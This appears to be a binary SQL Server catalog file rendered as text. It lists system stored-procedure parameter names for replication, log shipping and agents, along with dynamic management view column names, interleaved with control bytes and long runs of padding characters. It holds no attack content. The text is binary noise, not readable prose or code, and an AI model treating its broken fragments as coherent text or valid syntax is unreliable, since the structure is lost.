I@runstatus0-FG@comments0-FK@xact_seqno0-F88
c@delivered_transactions0-F88
[@delivered_commands0-F>>5Q@delivery_rate0-FhhI@log_error0-F	hhY@perfmon_increment0-F
E@xactseq0-F88
K@command_id0-Fhh]@update_existing_row0-F
hhS@updateable_row0-FhhO@do_raiserror0-NJI@job_login0-NJO@job_password0-NJG@job_name0-NJhhQ@frompublisher-n
0-nI@retention0-&W@capture_instance0-&hha@closed_high_end_point0-&M@column_list0-&W@update_flag_list0-M?88
I@tablenick0-M?$$E@rowguid0-M?$$C@marker0->88
G@nickname0->$$A@pubid0->88
W@processing_order0-$$A@pubid0-1{W@article_resolver0-1{PS@resolver_clsid0-1{$$A@artid0-1{
Q@resolver_info0-}%88
I@tablenick0-}%$$E@rowguid0-}%88
E@version0-ٶ$$E@rowguid0-ٶ88
I@tablenick0-ٶ00G@metatype0-ٶ$$A@pubid0-ٶ00I@uplineage0-ٶ7I@inlineage0-ٶC@incolv0-#$$A@pubid0-#$$A@artid0-#88
Q@schemaversion0-#$$K@schemaguid0-#88
K@schematype0-#K@schematext0-#88
Q@schemasubtype0-#00_@update_schemaversionbThho@monitor_server_security_mode0-bTW@primary_database0-bT	88
Y@restore_threshold0-bT
88
U@threshold_alert0-bThhe@threshold_alert_enabled0-bTW@last_copied_file0-bT
==W@last_copied_date0-bT==_@last_copied_date_utc0-bT[@last_restored_file0-bT==[@last_restored_date0-bT==c@last_restored_date_utc0-bT88
a@last_restored_latency0-bT88
g@history_retention_period0-bThh]@ignoreremotemonitor-n
0-nI@retention0-&W@capture_instance0-&hha@closed_high_end_point0-&M@column_list0-&W@update_flag_list0-$$A@subid0-$$A@artid0-hhO@is_pub_range0-00W@ranges_allocated0-ll&M@range_begin0-ll&I@range_end0-ll&W@next_range_begin0-ll&S@next_range_end0-	M@publication0-
K@subscriber0-Q@subscriber_db0-M?88
I@tablenick0-M?$$E@rowguid0-M?$$
?
p'
Q

	j	!	=l'{0S
Po$OT"
"9DO|/o`-<)
`2rdd0-bb88
Mprincipal_id0-bbUU;sid0-bb4=name0-bb4=type0-bb4?usage0-gE@objname0-gG@newowner0-jG@rolename0-@88
Gobject_id0-@88
Gschema_id0-@OTABLE_CATALOG0-@MTABLE_SCHEMA0-@ITABLE_NAME0-@CGRANTOR0-@CGRANTEE0-@<<QPRIVILEGE_TYPE0-@	hhMIS_GRANTABLE0-@
UIS_GRANTABLE_STR0-\uI@publisher0-\uO@publisher_db0-\uM@publication0-\u88
Y@subscription_type0-88
A@artid0-00Q@publishertype0-00?@mode0-hhK@islocalpub0-G@certname0-G@targetdb0-~I@publisher0-~O@publisher_db0-~A@login0-~?@user0-?@name0-I@operation0-atM@publication0-˂M@publication0-˂K@subscriber0-˂S@destination_db0-˂I@publisher0-W@qual_object_name0-88
A@objid0-_@pass_through_scripts0-[@target_object_name0-
p$$Ajob_id0-
p88
Erun_date0-
p88
Erun_time0-A S@filtered_table0-A]@subset_filterclause0-Ahh]@has_dynamic_filters0-Aq@dynamic_filters_function_list0-܈$$A@pubid0-܈S@tablenickarray0-܈@O@rowguidarray0-88
A@objid0-I@missingbm0-88
U@missingcolcount0-Gn
I@tablename0-Gn88
A@flags0-_I@loginname0-_88
A@flags)hhQBeginsLogChain0-*hh_HasIncompleteMetaData0-+hhQIsForceOffline0-,hhIIsCopyOnly0--[FirstRecoveryForkID0-.jj

MForkPointLSN0-/xxORecoveryModel0-0jj

[DifferentialBaseLSN0-1]DifferentialBaseGUID0-2xx_BackupTypeDescription0-3OBackupSetGUID0-4]CompressedBackupSize0-O@table_schema0-M@column_name0-K@table_name0-O@table_schema0-M@column_name0-88
M@schema_type0-@88
Gobject_id0-@88
Gschema_id0-@OTABLE_CATALOG0-@MTABLE_SCHEMA0-@ITABLE_NAME0-@CGRANTOR0-@CGRANTEE0-@<<QPRIVILEGE_TYPE0-@	hhMIS_GRANTABLE0-@
UIS_GRANTABLE_STR0-3 
K@objectname0-\uI@publisher0-\uO@publisher_db0-\uM@publication0-\u88
Y@subscription_type0-88
A@artid0-00Q@publishertype0-00?@mode0-hhK@islocalpub0-G@certname0-G@targetdb0-~I@publisher0-~O@publisher_db0-~A@login0-~?@user0-?@name0-I@operation0-at	`		o0`i-q(Pm*QtE 

5
6

!	HE`A
b%`-g)&0-M_88
Q@cursor_return0-M_<Q@cursor_source0-M_U@cursor_identity0->'`88
I@tablenick0->'`$$E@rowguid0->'`$$A@pubidW`W
-&)Xr0-quA88
Cpool_id0-quA>>5Utime_to_generate0-quAGuse_count0-quA>>5gaverage_time_between_uses0-quA>>5[time_since_last_use0-quA>>5]probability_of_reuse0-quA>>5?value0-quA88
Kpdw_node_id0-VI@sub_table0-VU@sub_table_owner0-VI@publisher0-VO@publisher_db0-VM@publication0-VG@ins_proc0-VG@upd_proc0-VG@del_proc0-V	E@cftproc0-V
K@proc_owner0-VO@identity_col0-VC@ts_col0-V
@Q@filter_clause0-V[@primary_key_bitmap0-VhhW@identity_support0-VhhY@independent_agent0-VM@distributor0-V88
K@pubversion0-VhhI@dump_cmds0-]$$A@subid0-]88
W@last_sync_status0-]Y@last_sync_summary0-{SI@publisher0-{SS@publisher_type0-{ShhI@no_checks0-M$$A@pubid0-MS@tablenickarray0-M@O@rowguidarray0-M88
M@compatlevel0-M88
M@lightweight!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ession_id0-&	88
Sexec_context_id0-&
88
Irequest_id0-&Qworker_address0-&Mhost_address0-&
[parent_task_address0-4Odocument_type0-$$Eclass_id0-4=path0-4Cversion0-4Mmanufacturer0-p8[@qual_source_object0-p$$A@pubid0-pK@columnName0-p88
Q@schemasubtype0-M@publication0-E@article0-G@property0-A@value0-hhi@force_invalidate_snapshot0-hhi@force_reinit_subscription0-I@publisher0-S@publisher_type0-88
G@gencheck0-I@commongen0-$$Q@commongenguid0-88
S@commongenvalid0-88
M@compatlevel9

L

x3	i		V}<OVA,E`%-)R+P0-DWscheduler_address0-DQworker_address0-D_fiber_context_address0-DMself_address0-D44Sprocessor_group0-D88
Kpdw_node_idg`)2G\6-.@fCreateCookie6-$@password6-$@rolename62cluster_nodename6	"filename6
*is_clustered64last_startup_time6&process_id60service_account6(servicename6*startup_type64startup_type_desc6status6(status_desc6468dtc_isolation_level646	$dtc_state646
&dtc_status646Dfilestream_transaction_id646name646>transaction_begin_time646.transaction_id6464transaction_state6466transaction_status6468transaction_status26462transaction_type6460transaction_uow6?$@loginame6@name6*@plan_handle6@@statement_start_offset69&@indexname69&@outputxml69"@tabname69.@verboseoutput69 @window69(@xml_output6$@loginame6@map6-3 @dbname6-3<@increased_partitions6Ӻ6$@loginame6{H>@name6{H>&@namespace6{H>$@viewonly6*component_id6(property_id6,physical_name6*logical_nameUA
6UA
"@command6f$@password6^c4(@profile_id6^c40@parameter_name6^c42@parameter_value6W.@dbms6W."@version6W.@type6W.,@createparams6M>*@publication6M>"@article6M>,@source_table6M>6@destination_table6M>@type6M> @filter6M>*@sync_object6M>	"@ins_cmd6M>
"@del_cmd6M>"@upd_cmd6M>2@creation_script6M>
*@description6M>4@pre_creation_cmd6M>.@filter_clause6M>.@schema_option6M>6@destination_owner6M> @status6M>,@source_owner6M>6@sync_object_owner6M>,@filter_owner6M>.@source_object6M>@artid6M>N@identityrangemanagementoption6M>:@auto_identity_range6M>8@pub_identity_range6M>0@identity_range6M>&@threshold6M>F@force_invalidate_snapshot6M>&@publisher6M> 0@publisher_type6M>!F@fire_triggers_on_snapshot6/@artid6/@mode6/.@publishertype6/&@publisher9>69>@objid69>.@schema_option69>(@tran_artid6L?&@publisher6L?(@subscriber6L?@type6L?@login6L?$@password6L?6@commit_batch_size6L?6@status_batch_size6L?2@flush_frequency6L?	0@frequency_type6L?
8@frequency_interval6L?J@frequency_relative_interval6L?J@frequency_recurrence_factor6L?
4@frequency_subday6L?F@frequency_subday_interval6L?D@active_start_time_of_day6L?@@active_end_time_of_day6L?6@active_start_date6L?2@active_end_date6L?.@retryattempts6L?(@retrydelay6L?*@description6L?.@security_mode6L?8@encrypted_password6L?$@internal6h@name6h@hours6h,@session_type6W\$@agent_id6W\&@tablename60@primary_server64@primary_database6B@backup_source_directory6L@backup_destination_directory6.@copy_job_name64@restore_job_name6>@file_retention_period60@monitor_server6	L@monitor_server_security_mode6
<@monitor_server_login6B@monitor_server_password6*@copy_job_id6
0@restore_job_id6,@secondary_id6&@overwrite6:@ignoreremotemonitor6H@pubid6H@artid6H@bm6H4@NeedSchemaChange6"@article60@conflict_table6&@publisher6,@publisher_db6*@publication6<7@pubid6<7@artid6[@pubidO)6O)&@tablenick6O)"@changed6O)@today6"4@failsafeoperator6"8@notificationmethod6"4@forwardingserver6"8@forwardingseverity6"2@pagertotemplate6"2@pagercctemplate6"<@pagersubjecttemplate6"<@pagersendsubjectonly6"	<@failsafeemailaddress6"
<@failsafepageraddress6"@@failsafenetsendaddress6".@forwardalwaysF@force_invalidate_snapshot68%@F@force_reinit_subscription68%@&@publisher6/f
>
T
t
	

N
d
0
d
2
0
	bF."	dFN	p	2		4*\BR~|80VRnXZr~NH bbT`@.Zd:F(`*p,d0T**.jLr`6
&)!6_q0product_version6ty$@alert_id6ty.@database_name6K(access_type6KFcreation_client_process_id6KDcreation_client_thread_id6K0creation_irp_id6K8creation_request_id6KDfilestream_transaction_id6K>handle_context_address6K$handle_id6K	*logical_path6K
,physical_path6? @dbname6?$@physname6(@membername6$@rolename6| @ntname6
*@avg_savings6
$@table_id6Z)&group_name6Z)$node_name6Z)8replica_server_name6E,default_value6E4has_default_value6E,is_cursor_ref6E
$is_output6E(is_readonly6E
0is_xml_document6E&max_length6Ename6Enumber6E$object_id6E*parameter_id6E$precision6E	scale6E.system_type_id6E*user_type_id6E4xml_collection_id6v>active_fts_index_count6v<auto_population_count6v&catalog_id6v(database_id6vTfull_incremental_population_count6v*is_importing6v$is_paused6v
@manual_population_count6v.memory_address6vname6v0previous_status6v	Hprevious_status_description6v>row_count_in_thousands6vstatus6v6status_description6v
*worker_count6P|(database_id6P|Ndatabase_transaction_begin_lsn6P|Pdatabase_transaction_begin_time6P|Pdatabase_transaction_commit_lsn6P|Ldatabase_transaction_last_lsn6P|^database_transaction_last_rollback_lsn6P|`database_transaction_log_bytes_reserved6P|
ndatabase_transaction_log_bytes_reserved_system6P|
Xdatabase_transaction_log_bytes_used6P|fdatabase_transaction_log_bytes_used_system6_q,special_build6|G&request_id6|G&session_id6|Gstatus6|G(submit_time6|G&start_time6|G2end_compile_time6|G"end_time6|G6total_elapsed_time6|G	label6|G
"error_id6|G(database_id6|G command6& @server6&(@pk_catalog6&&@pk_schema6&"@pk_name6&(@fk_catalog6&&@fk_schema6&"@fk_name6&2PK_TABLE_CATALOG6&0PK_TABLE_SCHEMA6&,PK_TABLE_NAME6&.PK_COLUMN_NAME6&.PK_COLUMN_GUID6&2PK_COLUMN_PROPID6&2FK_TABLE_CATALOG6&0FK_TABLE_SCHEMA6&	,FK_TABLE_NAME6&
.FK_COLUMN_NAME6&.FK_COLUMN_GUID6&2FK_COLUMN_PROPID6&
 ORDINAL6&(UPDATE_RULE6&(DELETE_RULE6J(@table_name6J*@table_owner6J2@table_qualifier6J*@column_name6J"@ODBCVer6J*@fUsePattern6k.@assembly_name6k2@assembly_schema6k*@assembly_id6x@owner6x@table6x.@filter_clause61@objid6	&@oldregkey6	&@newregkey6	(@param_type6	(@param_name6@mode6*@publication61cD@subscriber_security_mode61c4@subscriber_login61c:@subscriber_password61cF@distributor_security_mode61c6@distributor_login61c<@distributor_password61cB@publisher_security_mode61c2@publisher_login61c	8@publisher_password61c
&@job_login61c,@job_password61c@@db_master_key_password6&@EventData6&@procmapid6NJ"@tabname6NJ(@replicated6!z8@heartbeat_interval6bC&@publisher6bC,@publisher_db6bC*@publication6bC$@initinfo6bC@skip6x*@publication6x"@article6x(@subscriber6x0@destination_db6x6@for_schema_change6x&@publisher6xH@ignore_distributor_failure6x:@invalidate_snapshot6l`@artid6l`,@max_identity6)X$@viewname6)X,@fhasnullcols6.@database_name6߯&@publisher6߯,@publisher_db6߯*@publication6߯@type6(@session_id6%)4$@agent_id6%)4&@timestamp6%)4$@rowcount6s@,@error_number6s@.@error_message6WA@mode6Maj"@name_in6Maj$@name_out6&@tablename6z@repid'6'@pubid6'&@tablenick6'@colidlP,P(xb>@^8^Hzd6^~<X.d<j~@P

r&n&Pj
`-#)db4+H6e
(pdw_node_id6etype6X&@complevel6X@dbid6X@objid6Xcolid6X"doccount6Xdocid6X"docidmax6X"docidmin6X	$doclength6Xdupseq6X(internalPid6X keyword6Xocc6X
"occcount6X$unusedPid6Vname6Vvalue67$@rolename6ʷ.allocations_kb6ʷ>allocations_kb_per_sec6ʷ<future_allocations_kb6ʷ	4last_notification6ʷ6memory_broker_type6ʷ2overall_limit_kb6ʷ pool_id6ʷBpredicted_allocations_kb6ʷ<target_allocations_kb6v%&definition6v%$object_id6v%2procedure_number6xQ*partition_id6xQ2sublatch_address6xQ6superlatch_address6,+ @cookie63"bucketid63*cacheobjtype63<memory_object_address63 objtype63
6parent_plan_handle63(pdw_node_id63(plan_handle63	 pool_id63$refcounts63,size_in_bytes63$usecounts68!q.@database_name68!q@mode68!q,@update_table6ʷ
(pdw_node_id6Q:memory_clerk_address6Qtype6Qname6Q.memory_node_id6Q"pages_kb6QFvirtual_memory_reserved_kb6QHvirtual_memory_committed_kb6Q2awe_allocated_kb6Q	Dshared_memory_reserved_kb6Q
Fshared_memory_committed_kb6Q6page_size_in_bytes6Q>page_allocator_address6Q
*host_address6Q(pdw_node_id6</event6</"event_id6</(create_time6</&session_id6</cpu6</reads6</writes6</"sql_text6</	0client_app_name6</
&tsql_stack6</(pdw_node_id6h$,@process_name6h$.@queue_timeout6h$&@no_result6h$8@return_immediately6h$*@DbPrincipal6 @object6@owner6!9 @job_id6!9.@offloadserver6!9(@agent_type6EKf@objid6EKf.@schema_option6EKf:@subtype_altercolumn6EKf6@subtype_addcolumn6EKf*@debug_print6t6	 @server6t6	,@remote_login6t6	,@new_password6t6	*@server_type60.@remotesrvname60*@locallgname60,@remotelgname6&@ddloffset6(@identifier6usD@destination_createparams6us$@dataloss6N(@mapping_id6N*@source_dbms6N0@source_version6N*@source_type6N6@source_length_min6N6@source_length_max6N<@source_precision_min6N<@source_precision_max6N	4@source_scale_min6N
4@source_scale_max6N2@source_nullable6N4@destination_dbms6N
:@destination_version6N4@destination_type6N8@destination_length6N>@destination_precision6N6@destination_scale6N<@destination_nullable6ۿ*@publication6ۿ@found6ۿ&@publisher6ۿ0@publisher_type6E@artid6E.@publishertype6E&@publisher6&@tablename6@owner6 @tranid62@owner62&@tablename62&@publisher62,@fordiagnosis6; @is_p2p6;2@current_version6P&@publisher6P,@publisher_db6P*@publication6P"@article60@publication_id6@time6 2$@agent_id6 2(@agent_type6 20@monitor_server6 2D@history_retention_period6 2*@curdate_utc6U.@source_schema6U*@source_name6U4@capture_instance6U<@supports_net_changes6U&@role_name6U(@index_name6U<@captured_column_list6U0@filegroup_name6U	@@allow_partition_switchq[6%&@tablenick6%$@nickname6%@objid6Z6@num_contents_rows6Z8@num_tombstone_rows6#.@source_object6#,@source_owner6 6*@distributor62o*@publication62o,@partition_id6&@tablenick6"@rowguid6&@tablename6&@ownername6$@procname6@pubid6@artid6D@generate_subscriber_proc66@destination_owner6?@objid6?(@inscommand66֜@subid66֜@artid66֜(@range_type66֜.@ranges_needed66֜*@range_begin66֜&@range_end66֜4@next_range_begin66֜0@next_range_endv< ^ j@&Jp,F&*N \>
X2:dB*
~\@V :f`R
r)$0&6
Fsupports_alternate_streams6	:supports_compression6<supports_sparse_files6(total_bytes6$volume_id66volume_mount_point652awe_allocated_kb65
*host_address65:memory_clerk_address65.memory_node_id65name65>page_allocator_address656page_size_in_bytes65"pages_kb65
Fshared_memory_committed_kb65	Dshared_memory_reserved_kb65type65Hvirtual_memory_committed_kb65Fvirtual_memory_reserved_kb6]
	6buckets_avg_length6]
,buckets_count6]
:buckets_in_use_count6]
6buckets_max_length6]

@buckets_max_length_ever6]
6buckets_min_length6]
,cache_address6]
name6]
(table_level6]
type6]
&hits_count6]
*misses_count6]

Hbuckets_avg_scan_hit_length6]
Jbuckets_avg_scan_miss_length6]
(pdw_node_id6.memory_node_id6Tvirtual_address_space_reserved_kb6Vvirtual_address_space_committed_kb6Flocked_page_allocations_kb6"pages_kb6Dshared_memory_reserved_kb6Fshared_memory_committed_kb64cpu_affinity_mask6	<online_scheduler_mask6
0processor_group6:foreign_committed_kb6(pdw_node_id6F(@index_name6F&@is_unique6s:@schemasubtype_addun6s:@schemasubtype_addfk6s<@schemasubtype_addchk6s@objid6s*@debug_print6&*@publication6&"@article6&6@need_new_snapshot6&D@need_reinit_subscription6&F@force_invalidate_snapshot6&F@force_reinit_subscription6&(@check_only6&>@from_drop_publication6&	&@publisher6&
0@publisher_type6&H@ignore_distributor_failure65&@publisher6&I$@job_type6_*@publication6_*@description6_&@retention6_&@sync_mode6_(@allow_push6_(@allow_pull6_2@allow_anonymous6_<@enabled_for_internet6_	>@centralized_conflicts6_
2@dynamic_filters6_F@snapshot_in_defaultfolder6_:@alt_snapshot_folder6_
:@pre_snapshot_script6_<@post_snapshot_script6_6@compress_snapshot6_*@ftp_address6_$@ftp_port6_4@ftp_subdirectory6_&@ftp_login6_,@ftp_password6_8@conflict_retention6_@@keep_partition_changes6_B@allow_subscription_copy6_>@allow_synctoalternate6_D@validate_subscriber_info6_B@add_to_active_directory6_<@max_concurrent_merge6_T@max_concurrent_dynamic_snapshots6_<@use_partition_groups6_R@publication_compatibility_level6_.@replicate_ddl6_ Z@allow_subscriber_initiated_snapshot6_!F@allow_web_synchronization6_"B@web_synchronization_url6_#J@allow_partition_realignment6_$>@retention_period_unit6_%N@generation_leveling_threshold6_&V@automatic_reinitialization_policy6_'4@conflict_logging6&@publisher6,@publisher_db6*@publication6,@upload_first6"@objname6"@objtype6@flags6"@objlist6"@intransscription6&(@check_only6&>@from_drop_publication6&	&@publisher6&
0@publisher_type6&H@ignore_distributor_failure6&@publisher6*@publisherdb6*@publication6 @tranid6&@queuetype6'*@publication6'&@tracer_id6'*@cutoff_date6'&@publisher6',@publisher_db6RL(@xact_seqno6RL&@publisherb6b0@publication_id6b,@publisher_id6/i&@publisher6/i"@enabled65&@publisher6m&@publisher6m,@publisher_db6m*@publication6m$@property6m@value6LC$@agent_id6&I$@job_type6߮@objid6߮ @refcnt6_*@publication6_*@description6_&@retention6_&@sync_mode6_(@allow_push6_(@allow_pull6_2@allow_anonymous6_<@enabled_for_internet6_	>@centralized_conflicts6_
2@dynamic_filters6_F@snapshot_in_defaultfolder6
	8
r


:VzdDX|b4tR

0|>
<Z
J$:
XXrLl
v. XhpJ&L^X		<		hD`u)Hl赱6[5a:waiting_task_address6p@class6p @entity6p(entity_name6p0permission_name6p.subentity_name6Daverage_time_between_uses6,cache_address6	>context_switches_count6*current_cost6.disk_ios_count6,entry_address6&entry_data66entry_data_address6*in_use_count6"is_dirty6<memory_object_address6name6
,original_cost6
"pages_kb6 pool_id6:probability_of_reuse68time_since_last_use62time_to_generate6type6$use_count6value6Nregion_allocation_base_address6Jregion_allocation_protection68region_base_address6Dregion_current_protection6:region_size_in_bytes6*region_state6(region_type6(.&session_id6(.status6(.&request_id6(.(security_id6(.&login_name6(.&login_time6(.(query_count6(.2is_transactional6(.	$client_id6(.
"app_name65$object_id658distribution_policy65Bdistribution_policy_desc62@assembly_schema6*@assembly_id6|2@policy_categoryN6N"@command6N&@parameter6N$@argument6ڤw,@source_table6ڤw*@table_owner6+D@subscriber_security_mode6+4@subscriber_login6+:@subscriber_password6+F@distributor_security_mode6+6@distributor_login6+<@distributor_password6+&@job_login6+,@job_password6k"@article6k0@destination_db6k8@frequency_interval6kJ@frequency_relative_interval6k
J@frequency_recurrence_factor6kD@active_start_time_of_day6k@@active_end_time_of_day6k6@active_start_date6k2@active_end_date6k:@enabled_for_syncmgr6k4@dts_package_name6k<@dts_package_password6k<@dts_package_location6k>@distribution_job_name6k4@backupdevicetype6k4@backupdevicename6k"(@fileidhint6.@fulltablename6?Z*@publication6?Z @action6?Z.@originator_id6?Z8@conflict_retention6?Z:@continue_onconflict6?Z@local6?Z"@timeout69.@frompublisher6|
0@monitor_server6|
@p16|
@p26|
@p36|
@p46|
@p56|
@p66|
@p76|
	@p86|

@p96|
@p106|
@p116|

@p126贲*@publication6贲(@subscriber6贲.@subscriber_db6贲@level6pɣ*@publication6pɣ*@suser_sname6pɣ&@host_name6pɣ,@partition_id6pɣ2@snapshot_folder6Xg*@publication6XgD@dynamic_snapshot_jobname6Xg@@dynamic_snapshot_jobid6Xg8@ignore_distributor6k*@publication6k"@article6k(@force_flag6k@pubid6@pubid6@artid6.@schemaversion6(@schemaguid6(@schematype6(@schematext,@job_password6!*@publication6^&@publisher6^,@publisher_db6^*@publication6m&@loginname6m&@operation6m&@is_member6Y)*@publication6Y)@login6Y)$@reserved6Y)&@publisher6k*@publication6k"@article6k(@subscriber6k0@destination_db6k&@sync_type6k @status6k6@subscription_type6k*@update_mode6k	8@loopback_detection6k
0@frequency_type6k8@frequency_interval6kJ@frequency_relative_interval6k
J@frequency_recurrence_factor6k4@frequency_subday6kF@frequency_subday_interval6kD@active_start_time_of_day6k@@active_end_time_of_day6k6@active_start_date6k2@active_end_date6k>@optional_command_line6k$@reserved6k:@enabled_for_syncmgr6k,@offloadagent6k.@offloadserver6k4@dts_package_name6k<@dts_package_password6k<@dts_package_location6k>@distribution_job_name6k&@publisher6k4@backupdevicetype6k4@backupdevicename6k .@mediapassword6k"(@fileidhint6.@fulltablename6?ZZ"f
H2r
2

t<	j^D*R"H x@j fxR,rHHzB

X
~
B\n6t8d6^t	R		D			0`	@)<D4D6dname6dvalue6"ss_dtype6(ss_usertype6fixlen6$type_name66localized_typename60oledb_data_type64managed_type_code6&best_match6	2fixed_prec_scale6
 is_long64auto_unique_value6.data_precision6
6datetime_precision6(column_size6.literal_prefix6.literal_suffix6&searchable66unsigned_attribute6&@publisher6 @script6@login6$@password6@name6,@publisher_id6,@publisher_db6*@publication6.@subscriber_id6.@subscriber_db66@subscription_type6&@local_job6	0@frequency_type6
8@frequency_interval6J@frequency_relative_interval6J@frequency_recurrence_factor6
4@frequency_subday6F@frequency_subday_interval6D@active_start_time_of_day6@@active_end_time_of_day66@active_start_date62@active_end_date6.@retryattempts6(@retrydelay6"@command6$@agent_id68@distribution_jobid6*@update_mode6,@offloadagent6.@offloadserver64@dts_package_name6<@dts_package_password6<@dts_package_location6D@subscriber_security_mode64@subscriber_login6 :@subscriber_password6!&@job_login6",@job_password6#$@internal6$:@subscriber_provider6%8@subscriber_datasrc6&:@subscriber_location6'H@subscriber_provider_string6(8@subscriber_catalog_cycle_count6tK6@range_first_value6tK4@range_last_value6tK(@range_size6tK8@sequence_increment6tK8@sequence_max_value6tK8@sequence_min_value6tK.@sequence_name6B
\(database_id6B
\"index_id6B
\6last_system_lookup6B
\2last_system_scan6B
\2last_system_seek6B
\6last_system_update6B
\
2last_user_lookup6B
\	.last_user_scan6B
\.last_user_seek6B
\2last_user_update6"error_id6source6type6(create_time6(pdw_node_id6&session_id6&request_id6spid6	$thread_id6
 details6"ss_dtype6(ss_usertype6fixlen6$type_name66localized_typename60oledb_data_type64managed_type_code6&best_match6	2fixed_prec_scale6
 is_long64auto_unique_value6.data_precision6
6datetime_precision6(column_size6.literal_prefix6.literal_suffix6&searchable66unsigned_attribute6<l,@table_server6<l(@table_name6<l,@table_schema6<l.@table_catalog6<l*@fUsePattern6=[(@index_name6=[,@table_schema6_&@data_type6_(@best_match6=2@collection_name6=*@schema_name6=4@target_namespace6>y@cmd6>y @dbname6>y@debug6*@publisherdb64@replication_type6*@agent_login60@security_check6*@vendor_name6*@publication6&@hrepl_pub6.@empty_tranpub6S.@offloadserver6S @job_id6S&@agenttype6 ,@replnick_old6 ,@replnick_new6ie*@publication6ie8@destination_folder6ie(@subscriber6ie.@subscriber_db6ie&@publisher6b@pubid6b@role6xe @server6xe$@infotype6xe@login6xe$@password6~a$@database6~a*@data_folder6~a&@data_file6~a0@data_file_size6~a(@log_folder6~a$@log_file6~a.@log_file_size6~a6@min_distretention6~a	6@max_distretention6~a
6@history_retention6~a.@security_mode6~a@login6~a
$@password6~a(@createmode6~a0@from_scripting6&@publisher6 @script6.@security_mode6@login6$@password6*@publication6&@publisher6!Epubid6!E*@publication6!E&@publisher6!E0@publisher_type6*@publication6@name6,@publisher_id6,@publisher_db6*@publication6.@subscriber_id6.@subscriber_vPX""h4.	h
4
RP|	4d


<x	D		BdDz`')?×766e$@rolename6,cache_address6&clock_hand6*clock_status6<last_round_start_time6
.last_tick_time6name6Bremoved_all_rounds_count6	Bremoved_last_round_count62round_start_time6*rounds_count6type6Bupdated_last_round_count6z"@records6z"@traceid6	(create_date6Ddelete_referential_action68has_opaque_metadata6">has_replication_filter6Hhas_unchecked_assembly_data6<is_activation_enabled60is_auto_dropped62is_auto_executed6*@publication6,@publisher_db6&@publisher6xc&@publisher6xc,@publisher_db6xc*@publication6xc@objid6xc"@op_type6xc$@agent_id6xc&@fisqueued6%h$@is_merge6%h,@at_publisher2\62\$@password464@tabid64@colid6☩0@originator_srv6☩.@originator_db6☩*@publication6~0@publisher_type6~$@provider6J&@publisher6!0@qualified_name6!@tabid6@artcache_schema_address6tabid6 indexid6idSch6$tabschema6(ccTabschema6 tabname6$ccTabname6	0rowsetid_delete6
0rowsetid_insert6(num_pk_cols6pcitee6
.re_numtextcols68re_schema_lsn_begin64re_schema_lsn_end6&re_numcols6"re_colid6&re_awcName6$re_ccName6&re_colattr6$re_maxlen6 re_prec6"re_scale6(re_collatid6$re_xvtype6$re_offset6$re_bitpos6*re_fNullable6*re_fAnsiTrim6(re_computed6(se_rowsetid6 8se_schema_lsn_begin6!4se_schema_lsn_end6"&se_numcols6#"se_colid6$$se_maxlen6% se_prec6&"se_scale6'(se_collatid6($se_xvtype6)$se_offset6*$se_bitpos6+*se_fNullable6,*se_fAnsiTrim6-(se_computed6.:se_nullBitInLeafRows6[]&@publisher6[],@publisher_db6[]*@publication6[].@show_security6m@mode6}&session_id6}&start_time6}"end_time6}"duration6}&scan_phase6}(error_count6}$start_lsn6}(current_lsn6}	 end_lsn6}
&tran_count6}0last_commit_lsn6}2last_commit_time6}
2log_record_count6}8schema_change_count6},command_count6}8first_begin_cdc_lsn6}8last_commit_cdc_lsn6}:last_commit_cdc_time6} latency6}2empty_scan_count6}<failed_sessions_count6o*@publication6o(@subscriber6o.@subscriber_db6o&@publisher6o,@publisher_db6o(@web_server6o@id6l?@pubid6l?,@source_objid6l?*@column_list6l?4@prefix_tablename6l?<@blob_cols_at_the_end6l?<@explicit_column_list68@cols_being_dropped6*@input_colv16,@output_colv166u6@num_rowtrack_rows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j.p,Dr""xN	N	j`
(
 

R
*B
		
f
<8


d@`
	&	n	j\$xJLnH(~d:j<x0RV$d*|T6Nr``)>
06緰	*sequence_num6緰,size_in_bytes6緰(source_file6緰
tag6<active_worker_address6:active_workers_count6	>context_switches_count6cpu_id68current_tasks_count6
<current_workers_count6@failed_to_create_worker6
